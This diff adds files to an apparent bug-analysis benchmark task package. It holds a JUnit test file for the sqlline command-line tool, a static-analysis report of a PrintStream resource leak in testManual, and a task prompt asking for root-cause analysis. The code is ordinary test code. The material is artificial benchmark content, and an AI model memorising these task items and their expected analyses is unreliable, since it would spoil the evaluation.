+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("Unknown outputFormat \"json\""));
+  }
+
+  @Test
+  public void testCustomCommands() {
+    // table command was removed
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Unknown command: tables"));
+  }
+
+  @Test
+  public void testAppConfigReset() {
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!appconfig sqlline.Application\n"
+        + "!tables";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("TABLE_CAT"));
+  }
+
+  @Test
+  public void testCustomOpts() {
+    // nulls are displayed as custom_null
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "values(null)";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("custom_null"));
+  }
+
+  @Test
+  public void testScanForEmptyAllowedDrivers() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.emptyList();
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("No driver classes found"));
+  }
+
+  @Test
+  public void testScanForOnlyH2Allowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.h2.Driver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       1.4     org.h2.Driver"),
+                not(containsString("org.hsqldb.jdbc.JDBCDriver"))));
+  }
+
+  @Test
+  public void testScanForOnlyHsqldbAllowed() {
+    new MockUp<CustomApplication>() {
+      @Mock
+      public List<String> allowedDrivers() {
+        return Collections.singletonList("org.hsqldb.jdbc.JDBCDriver");
+      }
+    };
+
+    final String script = "!appconfig"
+        + " sqlline.extensions.CustomApplication\n"
+        + "!scan";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("yes       2.4     org.hsqldb.jdbc.JDBCDriver"),
+            not(containsString("org.h2.Driver"))));
+  }
+
+  @Test
+  public void testVersion() {
+    final String script = "!set\n";
+    try {
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          containsString(new Application().getVersion()));
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSetVersion() {
+    final String script = "!set version test-version\n";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("version property is read only"));
+  }
+
+  @Test
+  public void testSetPropertySuccess() {
+    final String script = "!set timeout\n"
+        + "!set timeout 200\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("timeout             -1"),
+            containsString("timeout             200")));
+  }
+
+  @Test
+  public void testSetPropertyFailure() {
+    final String script = "!set unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testSetUsage() {
+    final String script = "!set 1 2 3";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: set [all | <property name> [<value>]]"));
+  }
+
+  @Test
+  public void testSetWrongValueToEnumTypeProperties() {
+    Collection<BuiltInProperty> propertiesWithAvailableValues =
+        Arrays.stream(BuiltInProperty.values())
+            .filter(t -> !t.getAvailableValues().isEmpty())
+            .collect(Collectors.toSet());
+    final String wrongValue = "wrong_value";
+    for (BuiltInProperty property: propertiesWithAvailableValues) {
+      final String script =
+          "!set " + property.propertyName() + " " + wrongValue + "\n";
+      checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+          allOf(
+              containsString("Unknown " + property.propertyName() + " \""
+                  + wrongValue + "\""),
+              not(containsString("Exception"))));
+    }
+  }
+
+  @Test
+  public void testResetSuccess() {
+    final String script = "!set timeout 200\n"
+        + "!reset timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        containsString("[timeout] was reset to [-1]"));
+  }
+
+  @Test
+  public void testResetFailure() {
+    final String script = "!reset unk";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Specified property [unk] does not exist."
+            + " Use !set command to get list of all available properties."));
+  }
+
+  @Test
+  public void testResetAll() {
+    final String script = "!set timeout 200\n"
+        + "!reset all\n"
+        + "!set timeout";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OK),
+        allOf(containsString("All properties were reset to their defaults."),
+            containsString("timeout             -1")));
+  }
+
+  @Test
+  public void testResetUsage() {
+    final String script = "!reset";
+    checkScriptFile(script, true, equalTo(SqlLine.Status.OTHER),
+        containsString("Usage: reset (all | <property name>)"));
+  }
+
+  @Test
+  public void testRerun() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:!/ 4\n"
+          + "1536743104551:!/ 5\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:!/ 7\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:!/ 3\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+      beeLine.runCommands(dc,
+          "!set incremental true",
+          "!set maxcolumnwidth 30",
+          "!connect "
+              + ConnectionSpec.H2.url + " "
+              + ConnectionSpec.H2.username + " "
+              + "\"\"");
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 1");
+      String output = os.toString("UTF8");
+      final String expected0 = "+----------------------------+";
+      final String expected1 = "|             C1             |";
+      final String expected2 = "1 row selected";
+      assertThat(output,
+          allOf(containsString(expected0),
+              containsString(expected1),
+              containsString(expected2)));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 4");
+      output = os.toString("UTF8");
+      String expectedLine3 = "Cycled rerun of commands from history [2, 4]";
+      assertThat(output, containsString(expectedLine3));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 3");
+      output = os.toString("UTF8");
+      String expectedLine4 = "Cycled rerun of commands from history [3, 5, 7]";
+      assertThat(output, containsString(expectedLine4));
+      os.reset();
+
+      beeLine.runCommands(dc, "!/ 8");
+      output = os.toString("UTF8");
+      String expectedLine5 = "Cycled rerun of commands from history [8]";
+      assertThat(output, containsString(expectedLine5));
+      os.reset();
+
+      beeLine.runCommands(dc, "!rerun " + Integer.MAX_VALUE);
+      output = os.toString("UTF8");
+      String expectedLine6 =
+          "Usage: rerun <offset>, available range of offset is -7..8";
+      assertThat(output, containsString(expectedLine6));
+      beeLine.runCommands(new DispatchCallback(), "!quit");
+      assertTrue(beeLine.isExit());
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMaxColumnWidthIncremental() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-------------+-------------+\n"
+            + "|     C1      |     C2      |\n"
+            + "+-------------+-------------+\n"
+            + "| 100         | 200         |\n"
+            + "+-------------+-------------+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental true\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  @Test
+  public void testMaxColumnWidthBuffered() {
+    final String script1 = "!set maxcolumnwidth -1\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line1 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+            containsString(line1));
+
+    final String script2 = "!set maxcolumnwidth 0\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line2 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+            containsString(line2));
+
+    final String script3 = "!set maxcolumnwidth 5000\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line3 = ""
+            + "+-----+-----+\n"
+            + "| C1  | C2  |\n"
+            + "+-----+-----+\n"
+            + "| 100 | 200 |\n"
+            + "+-----+-----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+            containsString(line3));
+
+    final String script4 = "!set maxcolumnwidth 2\n"
+            + "!set incremental false\n"
+            + "values (100, 200)";
+    final String line4 = ""
+            + "+----+----+\n"
+            + "| C1 | C2 |\n"
+            + "+----+----+\n"
+            + "| 100 | 200 |\n"
+            + "+----+----+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+            containsString(line4));
+  }
+
+  /** Tests with incrementalBufferRows = -1; query stays in non-incremental
+   * mode. */
+  @Test
+  public void testIncrementalBufferRows() {
+    final String script1 = "!set incrementalBufferRows -1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line1 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script1, true, equalTo(SqlLine.Status.OK),
+        containsString(line1));
+  }
+
+  /** Tests with incrementalBufferRows = 0; query goes straight into
+   * incremental mode. */
+  @Test
+  public void testIncrementalBufferRows2() {
+    final String script2 = "!set incrementalBufferRows 0\n"
+        + "!set incremental false\n"
+        + "select * from (values (1, 2), (1, 20), (111, 20), (11, 2222), (1, 22))";
+    final String line2 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 1  | 2  |\n"
+        + "| 1  | 20 |\n"
+        + "| 111 | 20 |\n"
+        + "| 11  | 2222 |\n"
+        + "| 1   | 22   |\n"
+        + "+----+----+";
+    checkScriptFile(script2, true, equalTo(SqlLine.Status.OK),
+        containsString(line2));
+  }
+
+  /** Tests with incrementalBufferRows = 1; query starts in non-incremental mode
+   * and switches to incremental after 1 row. */
+  @Test
+  public void testIncrementalBufferRows3() {
+    final String script3 = "!set incrementalBufferRows 1\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222), (111, 2222))";
+    final String line3 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "| 111 | 2  |\n"
+        + "| 11  | 2222 |\n"
+        + "| 111 | 2222 |\n"
+        + "+----+----+";
+    checkScriptFile(script3, true, equalTo(SqlLine.Status.OK),
+        containsString(line3));
+  }
+
+  /** Tests with incrementalBufferRows = 4; query starts in non-incremental mode
+   * and rows run out before the limit is reached. */
+  @Test
+  public void testIncrementalBufferRows4() {
+    final String script4 = "!set incrementalBufferRows 4\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2), (111, 2), (11, 2222))";
+    final String line4 = ""
+        + "+-----+------+\n"
+        + "| C1  |  C2  |\n"
+        + "+-----+------+\n"
+        + "| 10  | 20   |\n"
+        + "| 1   | 2    |\n"
+        + "| 111 | 2    |\n"
+        + "| 11  | 2222 |\n"
+        + "+-----+------+";
+    checkScriptFile(script4, true, equalTo(SqlLine.Status.OK),
+        containsString(line4));
+  }
+
+  @Test
+  public void testIncrementalBufferRows5() {
+    // With incrementalBufferRows default (1000), query starts and
+    // stays in incremental mode.
+    final String script5 = "!set incrementalBufferRows default\n"
+        + "!set incremental false\n"
+        + "select * from (values (10, 20), (1, 2))";
+    final String line5 = ""
+        + "+----+----+\n"
+        + "| C1 | C2 |\n"
+        + "+----+----+\n"
+        + "| 10 | 20 |\n"
+        + "| 1  | 2  |\n"
+        + "+----+----+";
+    checkScriptFile(script5, true, equalTo(SqlLine.Status.OK),
+        containsString(line5));
+  }
+
+  @Test
+  public void testMaxHistoryFileRows() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    final File tmpHistoryFile = createTempFile("tmpHistory", "temp");
+    try (BufferedWriter bw =
+             new BufferedWriter(
+                 new OutputStreamWriter(
+                     new FileOutputStream(tmpHistoryFile),
+                     StandardCharsets.UTF_8))) {
+      bw.write("1536743099591:SELECT \\n CURRENT_TIMESTAMP \\n as \\n c1;\n"
+          + "1536743104551:SELECT \\n 'asd' as \"sdf\", 4 \\n \\n as \\n c2;\\n\n"
+          + "1536743104551:SELECT \\n 'asd' \\n as \\n c2;\\n\n"
+          + "1536743104551:!/ 2\n"
+          + "1536743104551:SELECT \\n 2123 \\n as \\n c2 from dual;\\n\n"
+          + "1536743107526:!history\n"
+          + "1536743115431:SELECT \\n 2 \\n as \\n c2;\n"
+          + "1536743115431:SELECT \\n '213' \\n as \\n c1;\n"
+          + "1536743115431:!/ 8\n");
+      bw.flush();
+      bw.close();
+
+      SqlLine.Status status = begin(beeLine, os, true,
+          "--historyfile=" + tmpHistoryFile.getAbsolutePath(),
+          "-e", "!set maxwidth 80");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      DispatchCallback dc = new DispatchCallback();
+
+      final int maxLines = 3;
+      beeLine.runCommands(dc, "!set maxHistoryFileRows " + maxLines);
+      os.reset();
+      beeLine.runCommands(dc, "!history");
+      assertEquals(maxLines + 1,
+          os.toString("UTF8").split("\\s+\\d{2}:\\d{2}:\\d{2}\\s+").length);
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testSave() {
+    final SqlLine beeLine = new SqlLine();
+    ByteArrayOutputStream os = new ByteArrayOutputStream();
+    try {
+      SqlLine.Status status = begin(beeLine, os, false,
+          "-e", "!save");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      final DispatchCallback dc = new DispatchCallback();
+
+      assertThat(os.toString("UTF8"),
+          containsString("Saving preferences to"));
+      os.reset();
+      beeLine.runCommands(dc, "!set");
+      assertThat(os.toString("UTF8"),
+          allOf(containsString("autoCommit"),
+              not(containsString("Unknown property:"))));
+      os.reset();
+    } catch (Exception e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testScript() {
+    final File file = createTempFile("sqlline", ".script");
+    final String script = "!script " + file.getAbsolutePath() + "\n"
+        + "values (100, 200);\n"
+        + "!set maxcolumnwidth -1\n"
+        + "!script\n"
+        + "values (1, 2);\n";
+    final String expected = "(?s)1/5          !script.*"
+        + "2/5          values \\(100, 200\\);.*"
+        + "3/5          !set maxcolumnwidth -1.*"
+        + "4/5          !script.*"
+        + "5/5          values \\(1, 2\\);.*";
+    checkScriptFile(script, false, equalTo(SqlLine.Status.OK),
+        RegexMatcher.of(expected));
+
+    final String output = "values \\(100, 200\\);\n"
+        + "!set maxcolumnwidth -1\n";
+    assertFileContains(file, RegexMatcher.of(output));
+  }
+
+  @Test
+  public void testStartupArgsWithoutUrl() {
+    try {
+      SqlLine sqlLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      PrintStream sqllineOutputStream =
+          new PrintStream(os, false, StandardCharsets.UTF_8.name());
+      sqlLine.setOutputStream(sqllineOutputStream);
+      sqlLine.setErrorStream(sqllineOutputStream);
+      String[] args = {
+          "-d",
+          "org.hsqldb.jdbcDriver",
+          "-n",
+          "SCOTT",
+          "-p",
+          "TIGER"
+      };
+      DispatchCallback callback = new DispatchCallback();
+      sqlLine.initArgs(args, callback);
+      assertThat(os.toString("UTF8"), containsString(sqlLine.loc("no-url")));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests setting the "confirm" property.
+   */
+  @Test
+  public void testConfirmFlag() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      begin(line, os, false, "-e", "!set confirm true");
+      assertThat(line.getOpts().getConfirm(), is(true));
+      begin(line, os, false, "-e", "!set confirm false");
+      assertThat(line.getOpts().getConfirm(), is(false));
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /**
+   * Tests that the "confirm" property works.
+   */
+  @Test
+  public void testConfirmFlagEffects() {
+    new MockUp<sqlline.Commands>() {
+      @Mock
+      int getUserAnswer(String question, int... allowedAnswers) {
+        return 'n';
+      }
+    };
+
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    assertThat(line.getOpts().getConfirmPattern(), is("default"));
+    String script = "CREATE TABLE dummy_test(pk int);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(1);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(2);\n"
+        + "INSERT INTO dummy_test(pk) VALUES(3);\n"
+        + "DELETE FROM dummy_test;\n"
+        + "DROP TABLE dummy_test;\n";
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OK),
+        containsString(" "));
+
+    script = "!set confirm true\n" + script;
+    checkScriptFile(script, true,
+        equalTo(SqlLine.Status.OTHER),
+        containsString(line.loc("abort-action")));
+  }
+
+  /**
+   * Tests that the "confirmPattern" property works.
+   */
+  @Test
+  public void testConfirmPattern() {
+    final SqlLine line = new SqlLine();
+    assertThat(line.getOpts().getConfirm(), is(false));
+    final ByteArrayOutputStream os = new ByteArrayOutputStream();
+
+    begin(line, os, false, "-e",
+        "!set confirmPattern \"^(?i:(TRUNCATE|ALTER))\"");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is("^(?i:(TRUNCATE|ALTER))"));
+
+    begin(line, os, false, "-e", "!set confirmPattern default");
+    assertThat(line.getOpts().getConfirmPattern(),
+        is(line.loc("default-confirm-pattern")));
+  }
+
+  /**
+   * Test for illegal regex in confirmPattern
+   */
+  @Test
+  public void testExceptionConfirmPattern() {
+    try {
+      final SqlLine line = new SqlLine();
+      final ByteArrayOutputStream os = new ByteArrayOutputStream();
+      assertThat(line.getOpts().getConfirm(), is(false));
+      SqlLine.Status status =
+          begin(line, os, false, "-e",
+              "!set confirmPattern \"^(?i*:(TRUNCATE|ALTER))\"");
+      assertThat(status, equalTo(SqlLine.Status.OK));
+      assertThat(os.toString("UTF8"), containsString("invalid regex"));
+      os.reset();
+    } catch (Throwable e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  /** Information necessary to create a JDBC connection. Specify one to run
+   * tests against a different database. (hsqldb is the default.) */
+  public static class ConnectionSpec {
+    public final String url;
+    public final String username;
+    public final String password;
+    public final String driver;
+
+    public ConnectionSpec(String url, String username, String password,
+        String driver) {
+      this.url = url;
+      this.username = username;
+      this.password = password;
+      this.driver = driver;
+    }
+
+    public static final ConnectionSpec H2 =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec ERROR_H2_DRIVER =
+        new ConnectionSpec("jdbc:h2:mem:", "sa", "", "ERROR_DRIVER");
+
+    public static final ConnectionSpec ERROR_H2_URL =
+        new ConnectionSpec("ERROR_URL", "sa", "", "org.h2.Driver");
+
+    public static final ConnectionSpec HSQLDB =
+        new ConnectionSpec(
+            ScottHsqldb.URI, ScottHsqldb.USER, ScottHsqldb.PASSWORD,
+            "org.hsqldb.jdbcDriver");
+
+    public static final ConnectionSpec MYSQL =
+        new ConnectionSpec(
+            "jdbc:mysql://localhost/scott", "scott", "tiger",
+            "com.mysql.jdbc.Driver");
+  }
+
+  /** Regular expression matcher. */
+  private static class RegexMatcher extends BaseMatcher<String> {
+    private final String pattern;
+
+    RegexMatcher(String pattern) {
+      super();
+      this.pattern = pattern;
+    }
+
+    public static RegexMatcher of(String pattern) {
+      return new RegexMatcher(pattern);
+    }
+
+    public boolean matches(Object o) {
+      return o instanceof String
+          && ((String) o).matches(pattern);
+    }
+
+    public void describeTo(Description description) {
+      description.appendText("regular expression ").appendText(pattern);
+    }
+  }
+
+}
+
+// End SqlLineArgsTest.java
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.PrintStream` acquired by call to `SqlLine()` at line 627 is not released after line 629.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void SqlLineArgsTest.testManual()
+
+### Procedure Id:
+sqlline.SqlLineArgsTest.testManual():void.af344b365611edd991fd4201af4b2c0d
+
+### File:
+src/test/java/sqlline/SqlLineArgsTest.java
+
+### Key:
+SqlLineArgsTest.java|testManual|RESOURCE_LEAK
+
+### Node Key:
+b2d15307b6382364ce2ba477b6f118cb
+
+### Hash:
+0d664e6e00536cbc79dd17a59d557cac
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-8135/instruction.md b/inferredbugs-8135/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..3069a9c639a2a47d36cb90d75836aae2212a9ff3
--- /dev/null
+++ b/inferredbugs-8135/instruction.md
@@ -0,0 +1,2662 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** sqlline
+**Bug ID:** 22
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+// Licensed to Julian Hyde under one or more contributor license
+// agreements. See the NOTICE file distributed with this work for
+// additional information regarding copyright ownership.
+//
+// Julian Hyde licenses this file to you under the Modified BSD License
+// (the "License"); you may not use this file except in compliance with
+// the License. You may obtain a copy of the License at:
+//
+// http://opensource.org/licenses/BSD-3-Clause
+*/
+package sqlline;
+
+import java.io.*;
+import java.nio.charset.StandardCharsets;
+import java.nio.file.Files;
+import java.nio.file.Path;
+import java.nio.file.Paths;
+import java.sql.DatabaseMetaData;
+import java.sql.SQLException;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.Collection;
+import java.util.Collections;
+import java.util.List;
+import java.util.TreeSet;
+import java.util.stream.Collectors;
+
+import org.h2.util.StringUtils;
+import org.hamcrest.BaseMatcher;
+import org.hamcrest.CoreMatchers;
+import org.hamcrest.Description;
+import org.hamcrest.Matcher;
+import org.hsqldb.jdbc.CustomDatabaseMetadata;
+import org.hsqldb.jdbc.JDBCConnection;
+import org.hsqldb.jdbc.JDBCDatabaseMetaData;
+import org.hsqldb.jdbc.JDBCResultSet;
+import org.hsqldb.jdbc.JDBCResultSetMetaData;
+import org.jline.builtins.Commands;
+import org.jline.terminal.Terminal;
+import org.junit.jupiter.api.Test;
+
+import mockit.Expectations;
+import mockit.Mock;
+import mockit.MockUp;
+import mockit.Mocked;
+import mockit.internal.reflection.FieldReflection;
+import net.hydromatic.scott.data.hsqldb.ScottHsqldb;
+import sqlline.extensions.CustomApplication;
+
+import static org.hamcrest.CoreMatchers.*;
+import static org.hamcrest.MatcherAssert.assertThat;
+import static org.junit.jupiter.api.Assertions.*;
+
+/**
+ * Executes tests of the command-line arguments to SqlLine.
+ */
+public class SqlLineArgsTest {
+  private static final ConnectionSpec CONNECTION_SPEC = ConnectionSpec.HSQLDB;
+  private ConnectionSpec connectionSpec;
+
+  public SqlLineArgsTest() {
+    connectionSpec = CONNECTION_SPEC;
+  }
+
+  static SqlLine.Status begin(SqlLine sqlLine, OutputStream os,
+      boolean saveHistory, String... args) {
+    try {
+      PrintStream beelineOutputStream = getPrintStream(os);
+      sqlLine.setOutputStream(beelineOutputStream);
+      sqlLine.setErrorStream(beelineOutputStream);
+      final InputStream is = new ByteArrayInputStream(new byte[0]);
+      return sqlLine.begin(args, is, saveHistory);
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /**
+   * Execute a script with "beeline -f".
+   *
+   * @return The stderr and stdout from running the script
+   * @param args Script arguments
+   */
+  private static Pair run(String... args) {
+    try {
+      SqlLine beeLine = new SqlLine();
+      ByteArrayOutputStream os = new ByteArrayOutputStream();
+      SqlLine.Status status = begin(beeLine, os, false, args);
+      return new Pair(status, os.toString("UTF8"));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  private Pair runScript(File scriptFile, boolean flag, String outputFileName) {
+    return runScript(connectionSpec, scriptFile, flag, outputFileName);
+  }
+
+  private static Pair runScript(ConnectionSpec connectionSpec, File scriptFile,
+      boolean flag, String outputFileName) {
+    List<String> args = new ArrayList<>();
+    Collections.addAll(args,
+        "-d", connectionSpec.driver,
+        "-u", connectionSpec.url,
+        "-n", connectionSpec.username,
+        "-p", connectionSpec.password);
+    if (flag) {
+      args.add("-f");
+      args.add(scriptFile.getAbsolutePath());
+    } else {
+      args.add("--run=" + scriptFile.getAbsolutePath());
+    }
+    if (outputFileName != null) {
+      args.add("-log");
+      args.add(outputFileName);
+    }
+    return run(args.toArray(new String[0]));
+  }
+
+  /**
+   * Attempts to execute a simple script file with the -f option to SqlLine.
+   * Tests for presence of an expected pattern in the output (stdout or stderr).
+   *
+   * @param scriptText    Script text
+   * @param flag          Command flag (--run or -f)
+   * @param statusMatcher Checks whether status is as expected
+   * @param outputMatcher Checks whether output is as expected
+   */
+  private void checkScriptFile(String scriptText, boolean flag,
+      Matcher<SqlLine.Status> statusMatcher,
+      Matcher<String> outputMatcher) {
+    try {
+      // Put the script content in a temp file
+      File scriptFile = createTempFile("foo", "temp");
+      PrintStream os =
+          new PrintStream(
+              new FileOutputStream(scriptFile),
+              false,
+              StandardCharsets.UTF_8.name());
+      os.print(scriptText);
+      os.close();
+
+      Pair pair = runScript(scriptFile, flag, null);
+
+      // Check output before status. It gives a better clue what went wrong.
+      assertThat(toLinux(pair.output), outputMatcher);
+      assertThat(pair.status, statusMatcher);
+      final boolean delete = scriptFile.delete();
+      assertThat(delete, is(true));
+    } catch (Throwable t) {
+      // fail
+      throw new RuntimeException(t);
+    }
+  }
+
+  /** Windows line separators in a string into Linux line separators;
+   * a Linux string is unchanged. */
+  private static String toLinux(String s) {
+    return s.replaceAll("\r\n", "\n");
+  }
+
+  private File createTempFile(String prefix, String suffix) {
+    return createTempFile(prefix, suffix, null);
+  }
+
+  private File createTempFile(String prefix, String suffix, Path directory) {
+    try {
+      final File file = directory == null
+          ? Files.createTempFile(prefix, suffix).toFile()
+          : Files.createTempFile(directory, prefix, suffix).toFile();
+      file.deleteOnExit();
+      return file;
+    } catch (IOException e) {
+      // fail
+      throw new RuntimeException(e);
+    }
+  }
+
+  @Test
+  public void testMultilineScriptWithComments() {
+    final String script1Text =
+        "!set incremental true\n"
+        + "-- a comment  \n values\n--comment\n (\n1\n, ' ab'\n--comment\n)\n;\n";
+
+    checkScriptFile(script1Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-------------+-----+\n"
+            + "|     C1      | C2  |\n"
+            + "+-------------+-----+\n"
+            + "| 1           |  ab |\n"
+            + "+-------------+-----+"));
+
+    final String script2Text =
+        "!set incremental true\n"
+        + "--comment \n --comment2 \nvalues (';\n' /* comment */, '\"'"
+        + "/*multiline;\n ;\n comment*/)\n -- ; \n; -- comment";
+
+    checkScriptFile(script2Text, true,
+        equalTo(SqlLine.Status.OK),
+        containsString("+-----+----+\n"
+            + "| C1  | C2 |\n"
+            + "+-----+----+\n"
+            + "| ; \n"
+            + " | \"  |\n"
